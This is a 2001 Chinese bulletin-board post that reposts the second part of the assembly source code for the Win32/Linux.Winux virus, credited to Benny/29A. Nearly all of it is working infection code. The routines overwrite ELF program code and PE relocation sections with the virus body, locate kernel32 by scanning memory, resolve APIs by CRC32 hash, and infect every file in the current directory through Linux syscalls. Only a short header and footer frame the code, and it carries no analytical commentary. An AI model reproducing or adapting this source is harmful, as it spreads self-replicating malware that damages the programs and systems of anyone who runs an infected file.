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发信人: fast (平淡), 信区: Virus
标 题: Win32/Linux.Winux源码PART 2
发信站: 荔园晨风BBS站 (Thu Sep 6 20:04:20 2001), 转信
Win32/Linux.Winux源码PART 2
文章类型：病毒与杀毒 文章加入时间：2001年9月6日6:51
----------------------------------------------------------------------------
----
;INFECT LINUX PROGRAM (Win32 version)
wInfectELF Proc
mov edi,ecx
movzx eax,word ptr [edi+12h]
cmp eax,3
jne close_file
call get_elf ;get elf headerz
p_sectionz:
mov eax,[esi+0Ch] ;virtual address
add eax,[esi+14h] ;virtual size
cmp ebx,eax
jb got_section ;does EP fit to this section?
add esi,edx ;no, get to next record
loop p_sectionz ;ECX-timez
jmp close_file ;invalid ELF, quit
got_section:
mov eax,[ebp + Start - gdelta]
mov ecx,[esi+10h]
add ecx,edi
cmp [ecx],eax
je close_file ;infection check
mov eax,[esi+14h]
cmp eax,virtual_end-Start
jb close_file ;must be large enough
push PAGE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push eax
push 0
call [ebp + a_VirtualAlloc - gdelta]
test eax,eax ;allocate buffer for host code
je close_file
mov [ebp + a_mem - gdelta],eax
pushad
mov ecx,[esi+14h]
mov esi,[esi+10h]
add esi,edi
push esi
xchg eax,edi
rep movsb ;copy host code to our buffer
pop edi
lea esi,[ebp + Start - gdelta]
mov ecx,virtual_end-Start
rep movsb ;overwrite host code by virus body
popad
add dword ptr [edi+18h],LinuxStart-Start
mov [ebp + sucElf - gdelta],edi
jmp close_file ;set semaphore and quit
wInfectELF EndP
;this procedure can retrieve API addresses
get_apis Proc
pushad
@SEH_SetupFrame <jmp q_gpa>
lea esi,[ebp + crc32s - gdelta] ;get ptr to CRC32 values of APIs
lea edi,[ebp + a_apis - gdelta] ;where to store API addresses
push crc32c ;how many APIs do we need
pop ecx ;in ECX...
g_apis: push eax ;save K32 base
call get_api
stosd ;save address
test eax,eax
pop eax
je q_gpa ;quit if not found
add esi,4 ;move to next CRC32 value
loop g_apis ;search for API addresses in a loop
end_seh:@SEH_RemoveFrame ;remove SEH frame
popad ;restore all registers
ret ;and quit from procedure
q_gpa: @SEH_RemoveFrame
popad
pop eax
jmp end_host ;quit if error
get_apis EndP
;this procedure can retrieve address of given API
get_api Proc
pushad ;store all registers
@SEH_SetupFrame <jmp end_gpa>;setup SEH frame
mov edi,[eax.MZ_lfanew] ;move to PE header
add edi,eax ;...
mov ecx,[edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_Size]
jecxz end_gpa ;quit if no exports
mov ebx,eax
add ebx,[edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAd
dress]
mov edx,eax ;get address of export table
add edx,[ebx.ED_AddressOfNames] ;address of API names
mov ecx,[ebx.ED_NumberOfNames] ;number of API names
mov edi,edx
push dword ptr [esi] ;save CRC32 to stack
mov ebp,eax
xor eax,eax
APIname:push eax
mov esi,ebp ;get base
add esi,[edx+eax*4] ;move to API name
push esi ;save address
@endsz ;go to the end of string
sub esi,[esp] ;get string size
mov edi,esi ;move it to EDI
pop esi ;restore address of API name
call CRC32 ;calculate CRC32 of API name
cmp eax,[esp+4] ;is it right API?
pop eax
je g_name ;yeah, we got it
inc eax ;increment counter
loop APIname ;and search for next API name
pop eax
end_gpa:xor eax, eax ;set flag
ok_gpa: @SEH_RemoveFrame ;remove SEH frame
mov [esp.Pushad_eax],eax ;save value to stack
popad ;restore all registers
ret ;quit from procedure
g_name: pop edx
mov edx,ebp
add edx,[ebx.ED_AddressOfOrdinals]
movzx eax,word ptr [edx+eax*2]
cmp eax,[ebx.ED_NumberOfFunctions]
jae end_gpa-1
mov edx,ebp ;base of K32
add edx,[ebx.ED_AddressOfFunctions] ;address of API functions
add ebp,[edx+eax*4] ;get API function address
xchg eax,ebp ;we got address of API in EAX
jmp ok_gpa ;quit
get_api EndP
;this procedure can retrieve base address of K32
get_base Proc
push ebp ;store EBP
call gdlt ;get delta offset
gdlt: pop ebp ;to EBP
mov eax,12345678h ;get lastly used address
last_kern = dword ptr $-4
call check_kern ;is this address valid?
jecxz end_gb ;yeah, we got the address
call gb_table ;jump over the address table
dd 077E00000h ;NT/W2k
dd 077E80000h ;NT/W2k
dd 077ED0000h ;NT/W2k
dd 077F00000h ;NT/W2k
dd 0BFF70000h ;95/98
gb_table:
pop edi ;get pointer to address table
push 4 ;get number of items in the table
pop esi ;to ESI
gbloop: mov eax,[edi+esi*4] ;get item
call check_kern ;is address valid?
jecxz end_gb ;yeah, we got the valid address
dec esi ;decrement ESI
test esi,esi ;end of table?
jne gbloop ;nope, try next item
call scan_kern ;scan the address space for K32
end_gb: pop ebp ;restore EBP
ret ;quit
check_kern: ;check if K32 address is valid
mov ecx,eax ;make ECX != 0
pushad ;store all registers
@SEH_SetupFrame <jmp end_ck> ;setup SEH frame
movzx edx,word ptr [eax] ;get two bytes
add edx,"ZM" ;is it MZ header?
jne end_ck ;nope
mov ebx,[eax.MZ_lfanew] ;get pointer to PE header
add ebx,eax ;normalize it
mov ebx,[ebx] ;get four bytes
add ebx,"EP" ;is it PE header?
jne end_ck ;nope
xor ecx,ecx ;we got K32 base address
mov [ebp + last_kern - gdlt],eax ;save K32 base address
end_ck: @SEH_RemoveFrame ;remove SEH frame
mov [esp.Pushad_ecx],ecx ;save ECX
popad ;restore all registers
ret ;if ECX == 0, address was found
SEH_hndlr macro ;macro for SEH
@SEH_RemoveFrame ;remove SEH frame
popad ;restore all registers
add dword ptr [ebp + bAddr - gdlt],1000h ;explore next page
jmp bck ;continue execution
endm
scan_kern: ;scan address space for K32
bck: pushad ;store all registers
@SEH_SetupFrame <SEH_hndlr> ;setup SEH frame
mov eax,077000000h ;starting/last address
bAddr = dword ptr $-4
movzx edx,word ptr [eax] ;get two bytes
add edx,"ZM" ;is it MZ header?
jne pg_flt ;nope
mov edi,[eax.MZ_lfanew] ;get pointer to PE header
add edi,eax ;normalize it
mov ebx,[edi] ;get four bytes
add ebx,"EP" ;is it PE header?
jne pg_flt ;nope
mov ebx,eax
mov esi,eax
add ebx,[edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAd
dress]
add esi,[ebx.ED_Name]
mov esi,[esi]
add esi,'NREK'
je end_sk
pg_flt: xor ecx,ecx ;we got K32 base address
mov [ecx],esi ;generate PAGE FAULT! search again...
end_sk: mov [ebp + last_kern - gdlt],eax ;save K32 base address
@SEH_RemoveFrame ;remove SEH frame
mov [esp.Pushad_eax],eax ;save EAX - K32 base
popad ;restore all registers
ret
get_base EndP
CRC32: push ecx ;procedure for calculating CRC32s
push edx ;at run-time
push ebx
xor ecx,ecx
dec ecx
mov edx,ecx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0EDB8h
NoCRC: dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec edi
jne NextByteCRC
not edx
not ecx
pop ebx
mov eax,edx
rol eax,16
mov ax,cx
pop edx
pop ecx
ret
signature db 0,'[Win32/Linux.Winux] multi-platform virus by Benny/29A',0
;little signature of mine ;-)
;Viral entrypoint in Linux programz
LinuxStart:
push eax ;reserve variable for return to host
pushad
mov ebx,[esp.cPushad+8] ;get command line
call lgdelta
lgdelta:pop ebp ;ebp=delta offset
mov ecx,end_end_lhost-end_lhost
sub esp,ecx
mov edi,esp
lea esi,[ebp + end_lhost - lgdelta]
rep movsb ;copy virus to stack and jump there
jmp esp ;(becoz we need to restore host code back)
end_lhost Proc
push ebx
push 125
pop eax
lea ebx,[ebp + Start - lgdelta]
and ebx,0FFFFF000h
mov ecx,3000h
mov edx,7
int 80h ;deprotect code section
pop ebx
push 5
pop eax
xor ecx,ecx
int 80h ;open host file
xchg eax,ebx
test ebx,ebx
jns read_host
q_host: xor eax,eax
inc eax
push -1
pop ebx
int 80h ;quit if error
read_host:
push 19
pop eax
mov ecx,12345678h
l_lseek = dword ptr $-4
cdq
int 80h ;seek to saved host code (EOF - some bytez)
test eax,eax
js q_host
pushad
push 5
pop eax
call cur_dir
db '.',0
cur_dir:pop ebx
xor ecx,ecx
cdq
int 80h ;get current directory descriptor
xchg eax,ebx
inf_dir:push 89
pop eax
lea ecx,[ebp + WFD - lgdelta]
int 80h ;get file from directory
xchg eax,ecx
jecxz cldir ;no more filez..
add eax,10
call lCheckInfect ;try to infect it
jmp inf_dir ;and look for another file
cldir: push 6
pop eax
int 80h ;close directory descriptor
popad
push 3
pop eax
lea ecx,[ebp + Start - lgdelta]
mov edi,ecx
mov edx,virtual_end-Start
int 80h ;restore host code
test eax,eax
js q_host
push 6
pop eax
int 80h ;close host file descriptor
add esp,end_end_lhost-end_lhost
mov [esp.cPushad],edi ;write host entrypoint address
popad
ret ;and jump to there
;INFECT FILE (Linux version)
lCheckInfect Proc
pushad
xchg eax,ebx
push 5
pop eax
cdq
inc edx
inc edx
mov ecx,edx
int 80h ;open file
xchg eax,ebx
test ebx,ebx
jns c_open
popad
ret
c_open: mov [ebp + f_handle - lgdelta],ebx
push 19
pop eax
xor ecx,ecx
int 80h ;seek to EOF = get file size
mov [ebp + l_lseek - lgdelta],eax
;save it
push ecx
push ebx
inc ecx
push ecx
inc ecx
inc ecx
push ecx
push eax
xor ecx,ecx
push ecx
mov ebx,esp
push 90
pop eax
int 80h ;map file to address space
add esp,24
cmp eax,0FFFFF000h
jbe c_mmap ;quit if error
jmp c_file
c_mmap: mov ecx,eax
mov [ebp + fm_handle - lgdelta],eax
pushad
call check_elf
je lInfectELF ;is it Linux program (ELF)?
add ax,IMAGE_DOS_SIGNATURE
jne c_mfile
call check_pe
jne c_mfile ;is it Win32 program (PE)?
;some important chex
cmp word ptr [esi.NT_FileHeader.FH_Machine],IMAGE_FILE_MACHINE_I386
jne c_mfile
mov ax,[esi.NT_FileHeader.FH_Characteristics]
test ax,IMAGE_FILE_EXECUTABLE_IMAGE
je c_mfile
test ax,IMAGE_FILE_DLL
jne c_mfile
test ax,IMAGE_FILE_SYSTEM
jne c_mfile
mov al,byte ptr [esi.NT_FileHeader.OH_Subsystem]
test al,IMAGE_SUBSYSTEM_NATIVE
jne c_mfile
movzx eax,word ptr [esi.NT_FileHeader.FH_NumberOfSections]
dec eax
test eax,eax
je c_mfile
call header&relocs ;get PE headerz and check for relocs
je c_mfile ;quit if no relocs
mov ebx,[edi.SH_VirtualAddress]
cmp eax,ebx
jne c_mfile
cmp [edi.SH_SizeOfRawData],virus_end-Start+500
jb c_mfile ;is it large enough?
pushad
xor eax,eax
mov edi,edx
stosd
stosd
popad ;clear relocs record
call set_alignz ;align section variable
mov eax,[esi.NT_OptionalHeader.OH_AddressOfEntryPoint]
mov [esi.NT_OptionalHeader.OH_AddressOfEntryPoint],ebx
mov [ebp + original_ep - lgdelta],eax
mov eax,[esi.NT_OptionalHeader.OH_ImageBase]
mov [ebp + image_base - lgdelta],eax
;set some important variablez
pushad
mov edi,[edi.SH_PointerToRawData]
add edi,[esp+24]
lea esi,[ebp + Start - lgdelta]
mov ecx,virus_end-Start
rep movsb ;overwrite relocs by virus code
popad
or dword ptr [edi.SH_Characteristics],IMAGE_SCN_MEM_WRITE
;set flag
c_mfile:popad
push 91
pop eax
int 80h ;unmap file
c_file: push 6
pop eax
mov ebx,[ebp + f_handle - lgdelta]
int 80h ;close file descriptor
popad
ret ;and quit
lCheckInfect EndP
;INFECT LINUX PROGRAM (Linux version)
lInfectELF Proc
mov edi,ecx
movzx eax,word ptr [edi+12h]
cmp eax,3
jne c_mfile
call get_elf ;get ELF headerz
p_sectionz2:
mov eax,[esi+0Ch] ;virtual address
add eax,[esi+14h] ;virtual size
cmp ebx,eax
jb got_section2 ;does EP fit to this section?
add esi,edx ;no, get to next record
loop p_sectionz2 ;ECX-timez
jmp c_mfile ;invalid ELF, quit
got_section2:
mov eax,[ebp + Start - lgdelta]
mov ecx,[esi+10h]
add ecx,edi
cmp [ecx],eax
je c_mfile ;infection check
mov eax,[esi+14h]
cmp eax,virtual_end-Start
jb c_mfile ;is it large enough?
sub esp,eax ;create buffer in stack
mov [ebp + s_mem - lgdelta],eax
add dword ptr [edi+18h],LinuxStart-Start
mov ecx,[esi+14h]
mov esi,[esi+10h]
add esi,edi
mov eax,esi
mov edi,esp
rep movsb ;copy original host code there
mov edi,eax
lea esi,[ebp + Start - lgdelta]
mov ecx,virtual_end-Start
rep movsb ;overwrite host code by virus
push 91
pop eax
mov ebx,[ebp + fm_handle - lgdelta]
int 80h ;unmap file
push 19
pop eax
mov ebx,[ebp + f_handle - lgdelta]
xor ecx,ecx
cdq
inc edx
inc edx
int 80h ;go to EOF
push 4
pop eax
mov ecx,esp
mov edx,virtual_end-Start
int 80h ;write there original host code
add esp,[ebp + s_mem - lgdelta]
popad ;correct stack
jmp c_file ;and close the file
lInfectELF EndP
;check if it is Linux program (ELF)
check_elf Proc
mov eax,[ecx]
push eax
add eax,-464C457Fh
pop eax
ret
check_elf EndP
;check if it is Win32 program (PE)
check_pe Proc
mov eax,[ecx.MZ_lfanew]
add eax,ecx
xchg eax,esi
mov eax,[esi]
add eax,IMAGE_NT_SIGNATURE
ret
check_pe EndP
;get some variablez and check for relocationz in PE file
header&relocs Proc
imul eax,eax,IMAGE_SIZEOF_SECTION_HEADER
movzx edx,word ptr [esi.NT_FileHeader.FH_SizeOfOptionalHeader]
lea edi,[eax+edx+IMAGE_SIZEOF_FILE_HEADER+4]
add edi,esi
lea edx,[esi.NT_OptionalHeader.OH_DataDirectory.DE_BaseReloc.DD_VirtualAd
dress]
mov eax,[edx]
test eax,eax
ret
header&relocs EndP
;align section variable
set_alignz Proc
mov eax,virtual_end-Start
cmp eax,[edi.SH_VirtualSize]
jb o_vs
mov ecx,[esi.NT_OptionalHeader.OH_SectionAlignment]
cdq
div ecx
test edx,edx
je o_al
inc eax
o_al: mul ecx
mov [edi.SH_VirtualSize],eax
o_vs: ret
set_alignz EndP
;get some important variablez from Linux program (ELF)
get_elf Proc
mov ebx,[edi+18h] ;EP
mov esi,[edi+20h] ;section header
add esi,edi ;normalize
movzx edx,word ptr [edi+2Eh] ;size of section header
movzx ecx,word ptr [edi+30h] ;number of sectionz
ret
get_elf EndP
end_end_lhost:
end_lhost EndP
gpl db 'This GNU program is covered by GPL.',0
;licence agreement ;-)
;CRC32s of used APIz
crc32s: dd 0AE17EBEFh ;FindFirstFileA
dd 0AA700106h ;FindNextFileA
dd 0C200BE21h ;FindClose
dd 08C892DDFh ;CreateFileA
dd 096B2D96Ch ;CreateFileMappingA
dd 0797B49ECh ;MapViewOfFile
dd 094524B42h ;UnmapViewOfFile
dd 068624A9Dh ;CloseHandle
dd 04402890Eh ;VirtualAlloc
dd 02AAD1211h ;VirtualFree
dd 021777793h ;WriteFile
dd 085859D42h ;SetFilePointer
dd 0EBC6C18Bh ;GetCurrentDirectoryA
dd 0B2DBD7DCh ;SetCurrentDirectoryA
dd 07495B3ADh ;OutputDebugStringA
crc32c = ($-crc32s)/4 ;number of APIz
virus_end:
;addresses of APIz
a_apis:
a_FindFirstFileA dd ?
a_FindNextFileA dd ?
a_FindClose dd ?
a_CreateFileA dd ?
a_CreateFileMappingA dd ?
a_MapViewOfFile dd ?
a_UnmapViewOfFile dd ?
a_CloseHandle dd ?
a_VirtualAlloc dd ?
a_VirtualFree dd ?
a_WriteFile dd ?
a_SetFilePointer dd ?
a_GetCurrentDirectoryA dd ?
a_SetCurrentDirectoryA dd ?
a_OutputDebugStringA dd ?
f_handle dd ? ;file handle
fm_handle dd ? ;file mapping handle
s_mem dd ? ;size of host code (for stack manipulationz)
WFD WIN32_FIND_DATA ? ;WIN32_FIND_DATA structure
prev_dir db MAX_PATH dup (?);original directory
virtual_end:
ends
End Start ;that's all folx, wasn't that kewl? ;-)
文章出处：第八军团
文章作者：小魔神
--
※ 来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.0.127]
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